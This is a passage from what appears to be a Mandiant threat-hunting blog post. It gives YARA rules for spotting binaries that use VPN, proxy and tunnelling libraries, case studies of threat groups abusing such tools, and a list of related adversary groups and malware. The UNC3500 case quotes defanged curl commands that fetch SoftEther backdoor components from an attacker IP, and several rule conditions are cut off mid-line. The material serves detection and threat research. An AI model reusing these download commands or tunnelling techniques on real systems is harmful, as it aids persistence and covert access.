 rule M_Hunting_AscensionEngine_golocaltunnel_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for binaries that use golocaltunnel."
        md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
    strings:
        $anchor1 = "localtunnel.go" ascii nocase wide
               $func1 = "readAtmost" ascii nocase wide
               $func2 = "Network" ascii nocase wide
               $func3 = "WaitFor" ascii nocase wide
               $func4 = "Accept" ascii nocase wide
               $func5 = "Addr" ascii nocase wide
               $func6 = "URL" ascii nocase wide
               $func7 = "ReachedEOF" ascii nocase wide
               $func8 = "setDefaults" ascii nocase wide
    condition:
         ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesi
}
```

LocalTunnelNet Library

```
 rule M_Hunting_AscensionEngine_localtunnelnet_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for binaries that use localtunnel.net."
        md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
    strings:
               $s1 = "Localtunnel" ascii nocase wide
               $s2 = "LocaltunnelClient" ascii nocase wide
               $s3 = "ProxiedSslTunnelOptions" ascii nocase wide
```

```
                $s4 = "ProxiedSslTunnelConnection" ascii nocase wide
    condition:
         ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesiz
}
```

ZDTun Library

```
 rule M_Hunting_AscensionEngine_zdtun_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for binaries that use zdtun."
        md5 = "f224e0c1ad6d27c76b1f87fdb8ada639"
    strings:
                $anchor = "zdtun" ascii nocase wide
                $s1 = "zdtun_conn_close" ascii nocase wide
                $s2 = "zdtun_conn_dnat" ascii nocase wide
                $s3 = "zdtun_conn_proxy" ascii nocase wide
                $s4 = "zdtun_conn_set_userdata" ascii nocase wide
                $s5 = "zdtun_fds" ascii nocase wide
                $s6 = "zdtun_finalize" ascii nocase wide
                $s7 = "zdtun_get_stats" ascii nocase wide
                $s8 = "zdtun_make_iphdr" ascii nocase wide
                $s9 = "zdtun_purge_expired" ascii nocase wide
                $s10 = "zdtun_set_dnat_info" ascii nocase wide
                $s11 = "zdtun_set_mtu" ascii nocase wide
                $s12 = "zdtun_set_socks5_proxy" ascii nocase wide
                $s13 = "zdtun_conn_get_userdata" ascii nocase wide
                $s14 = "zdtun_userdata" ascii nocase wide
                $s15 = "zdtun_init" ascii nocase wide
    condition:
         ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesiz
}
```

Generic Proxy, Tunnel, or VPN Library via Github

```
 rule M_Hunting_AscensionEngine_GithubVPNProxy_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for binaries that include vpn/proxy/tunnel github links"
    strings:
        $r1 = /github.com\/[^\/]+\/[^\/]*(vpn|VPN|proxy|Proxy|tunnel|Tunnel)[^\/]*\//
        $vpn = "vpn" nocase fullword
        $proxy = "proxy" nocase fullword
        $tunnel = "tunnel" nocase fullword
```

```
    condition:
         ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesi
}
```

Binary Export Artifacts

Based on Microsoft documentation, DLL files contain an exports table. The exports table includes the name of every function that the DLL exports to other executables. These functions are the entry points into the DLL; only the functions in the exports table can be accessed by other executables.

These export equities within files may help identify *intent*, especially as it pertains to unique exports and the goal with their use. There are other unique portable executable details that allow for insight into possible intent, including resource names and domain presence.

VPN Specific DLL Exports

```
 import "pe"
rule M_Hunting_Win_ExportEngine_vpn_dll_1
{
        meta:
        author = "Mandiant"
        description = "Looks for an export dll containing the string vpn"
        reference = "https://twitter.com/stvemillertime/status/1241027937970814976?s=20&t=t2Esf89F6T8LuiBsT8RV-
        md5 = "61d59eb2799b1a77eedf34b145cf23e1"
        strings:
               $pcre = /[\x00-\x7F]{0,100}(vpn|VPN)[\x00-\x7F]{0,100}\.(dat|dll|sys|exe)\x00/
        condition:
               uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(
}
```

Proxy Specific DLL Exports

```
 import "pe"
rule M_Hunting_Win_ExportEngine_vpn_dll_1
{
        meta:
        author = "Mandiant"
        description = "Looks for an export dll containing the string vpn"
        reference = "https://twitter.com/stvemillertime/status/1241027937970814976?s=20&t=t2Esf89F6T8LuiBsT8RV-
        md5 = "61d59eb2799b1a77eedf34b145cf23e1"
        strings:
               $pcre = /[\x00-\x7F]{0,100}(proxy|Proxy|PROXY)[\x00-\x7F]{0,100}\.(dat|dll|sys|exe)\x00/
        condition:
               uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(
}
```

VPN or Proxy Specific PE Resource Names

```
 import "pe"
rule M_Hunting_Win_VPNEngine_ResourceInPE_1
{
    meta:
        author = "Mandiant"
        description = "This signature is looking for VPN or Proxy subresources."
        md5 = "2ce7a0ffa14134167945e8df84755f1c"
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and for any i in (0.. pe.number_of_resources
```

Impact - A Case Study

As analysts, researchers, engineers, etc. - time is limited. Time is one of the greatest resources that anyone has. So, it's important to ask the question: *Why care?* Well, the following sections will highlight a variety of adversaries abusing the techniques and technologies discussed in this blog.

UNC3500

UNC3500 is a suspected Chinese actor that has leveraged CVE-2021-44228 to target entities in the education and telecommunications sectors. The group has established persistence by **creating a VPN and HTTPS server that can function as a backdoor** following initial compromise.

Following reconnaissance and initial actions in a specific UNC3500 intrusion the attackers proceeded to download the aforementioned VPN software and HTTPS server using the following commands:

- curl hxxp://35.189.145[.]119/hamcore.se2 > /mi/pki/mics/log/hamcore.se2
    - (MD5: 9fb1191ba0064d317a883677ce568023)
- curl hxxp://35.189.145[.]119/https > /mi/pki/mics/log/https
    - (MD5: 00352d167c44272dba415c36867a8125)
- curl hxxp://35.189.145[.]119/vpn_bridge.config > /mi/pki/mics/log/vpn_bridge.config
    - (MD5: ce5d96252315e2c9d5fd9aeb98ae28ae)

The https and hamcore.se2 files are components of SoftEther's VPN server bridge, PacketiX. The PacketiX VPN Bridge creates a layer 2 connection between a physical network adapter on a local system and a remote SoftEther VPN server. It requires an accompanying library file hamcore.se2 and a configuration file vpn_bridge.config. By deploying this package, UNC3500 established persistence on the compromised server.

APT40

APT40 primarily carries out intrusion activities against maritime industries and has been linked to activity dating back to at least 2013. In April 2021, four members of APT40 were indicted by the U.S. Department of Justice, alleged to be working on behalf of the MSS in Hainan. Operations may target sensitive data that would benefit

research and development programs, inform decision makers sponsoring these actors, and enable further targeting of related organizations.

One methodology observed being used by APT40 includes **exfiltration via VPN**. Additionally, APT40 has been **identified utilizing ProtonVPN and ExpressVPN**.

UNC2465

In a Supply Chain intrusion, SMOKEDHAM, a lightweight .NET-based backdoor used by UNC2465, used PowerShell to connect to third-party file sharing sites to **download an Ngrok utility that was renamed conhost.exe.** A script was used to execute **Ngrok with a configuration file named ngrok.yml.** Ngrok is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.

UNC2465 is a threat cluster that has previously deployed DARKSIDE ransomware and is suspected to have been active since at least March 2020. UNC2465 activity is characterized by their ongoing use of similar tactics, techniques, and procedures (TTPs) to distribute the publicly available PowerShell-based SMOKEDHAM backdoor in victim environments. UNC2465 has extorted using a hybrid approach of DARKSIDE ransomware and extortion through a leaks website over TOR. DARKSIDE applies pressure initially through shaming a victim with a small amount of data published on a the DARKSIDE blog followed by larger releases of data lasting several days if a client won't pay. This group likely represents an affiliate, only a smaller part of overall DARKSIDE ecosystem. UNC2465 has used phishing, web compromises, and supply chain access through the trojanization of legitimate software installers. UNC2465 activities have continued past the overall shutdown of DARKSIDE RaaS.

Underground Forums

An English-speaking actor named 'idk' advertised access to U.S. Insurance and Healthcare companies in which the method of access listed was “OpenVPN installed” and “credentials from OpenVPN”.

VPNs as Sources

UNC3661 has used NordVPN to hide origin IPs for their remote interactions with victim environments.

A **NEARTWIST** cluster of activity used against Ukraine (linked to **APT28** with moderate confidence) logged in to web shells using ExpressVPN IP addresses.

Prevalence

A Jedi Master once said, “Prevalence is the number one thing analysts want”. So let's talk prevalence! Utilizing the various detections and methods highlighted in this blog against housed Mandiant data, 40+ connections were made to different adversary groups and malware families.

Adversary Clusters and Groups	Malware Families and Exploits
APT12	BEACON

APT22

APT28

APT37

APT40

UNC270

UNC530

UNC875

UNC961

UNC1066

UNC1575

UNC1585

UNC1615

UNC1804

UNC2465

UNC2984

UNC3325

UNC3500

UNC3661

UNC3804

BEEBSINFO

DARKNEURON

DIMCLERK

EMOTET

HALFSPOT

HIDEYHOLE

HTRAN

ICEFOG

IRONGATE

KICKBACK

LOKIBOT

METERPRETER

MONEYRUN

PACMAN

PISCES

PROXYDLL

RICHBOAT

SALSAVERDE

SODARIVER

SOGU

TRICKBOT

VENOMPROXY

WMIEXEC

WSHRAT

ZXSHELL

CVE-2018-0802

Where Did We Go?

The use of VPN software, proxy services, and localhost tunnels provide adversaries an air of legitimacy, detection bypass via encryption, and potential point to point access. These characteristics are high value desires of an adversary, and make detection, containment, and eradication more burdensome on the blue team.

However, in this blog VPN software, proxy services, and localhost tunnels were analyzed for hunting directions. These hunting directions did include vendor and service specific items (SoftEther, Ngrok, WireGuard, OpenVPN, Hide.Me, etc.), but also focused on wholistic and tradecraft-related directions (Conventions, 3rd Party Libraries, PE Artifacts, etc.).

These directions will expand the defender's hunting and detection repertoire against these software and service suites, lowing the burden on the blue team.

Happy Hunting

Acknowledgements

Thanks to everyone that contributed analysis and review. Special thanks to Matthew Dunwoody and Evan Reese.

Disclaimer

The signatures documented in this blog are meant to be threat hunting directions and jump-points – empowering the analyst to take the next step down the rabbit hole and identify suspicious activity. Every network is different and because of that, these signatures should not be deployed in production environments without testing and, when required, tuning.

Case studies and examples are drawn from our experiences and activities working for a variety of customers, and do not represent our work for any one customer or set of customers. In many cases, facts have been changed to obscure the identity of our customers and individuals associated with our customers.
